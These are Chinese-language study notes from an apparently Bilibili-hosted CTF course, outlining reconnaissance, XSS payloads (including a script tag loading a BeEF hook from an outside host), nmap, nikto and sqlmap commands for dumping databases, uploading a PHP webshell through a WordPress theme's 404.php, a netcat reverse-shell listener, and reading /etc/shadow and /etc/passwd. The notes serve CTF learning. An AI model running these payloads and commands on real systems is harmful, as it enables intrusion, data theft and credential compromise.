b站网课ctf学习笔记
b站网课ctf学习笔记
1.python requests
2.信息收集
2.1谷歌黑客搜索语法
fofa
github泄露源码和账号密码
2.2 主动信息收集
网站指纹识别
端口扫描
目录扫描
子域名扫描
漏洞扫描
3. XSS 攻击
3.1 反射型(非持久)
特征:恶意代码通过 URL 传入,单次请求生效
常见攻击方式:
重定向:
1
<script>window.location="恶意网址"</script>
图片加载恶意脚本:
1
<img src="http://BeEF_IP:3000/hook.js">
脚本标签:
1
<script src="恶意xss.js"></script>
绕过滤:大小写、URL/Base64 编码
1
<ScrIpT> URL/Base64 编码
3.2 存储型(持久)
- 特征:恶意代码存到服务器(数据库 / 留言板等),所有访问者中招
- 核心:代码提交后被持久化,影响范围更广
4.1 web——sql注入
1.扫描主机服务信息以及服务版本
-q 安静模式
nmap -sV -q ip
1.1 指定扫描「Top 100 个最常用端口」(比默认 1000 个少 90%),同时保留版本探测:
nmap -sV –top-ports 100 ip
2.快速扫描 主机全部信息
nmap -T4 -A -v ip
3.探测敏感信息
nikto -host http://ip:端口
4.sql注入寻找漏洞
1.sqlmap -u “ip”
2.sqlmap -u “ip” –dbs
3.sqlmap -u “ip”-D “数据库名” –tables
4.sqlmap -u “ip”-D “数据库名” -T “表名” –columns
5.sqlmap -u “ip”-D “数据库名” -T “表名” -C “列名”–dump
6.sqlmap -r request.raw -level 5 -risk 3 -dbs -dbm mysql –batch
request.raw报头
5.上传webshell获取控制权
wordpress后台寻找上传点
– 主题的404.Php 可以上传
–webshell 获取 /usr/ share/webshells/php/
执行shell,获取反弹shell
http://靶场ip:端口号/目录/wp-content/themes/主题名/404.php
启动监听
– nc -nvlp port
启动终端
– python -c “import pty;pty.spawn(‘/bin/bash’)”
root权限
–查看敏感文件
cat/atc/shadow
cat/atc/passwd
– 使用su -提权

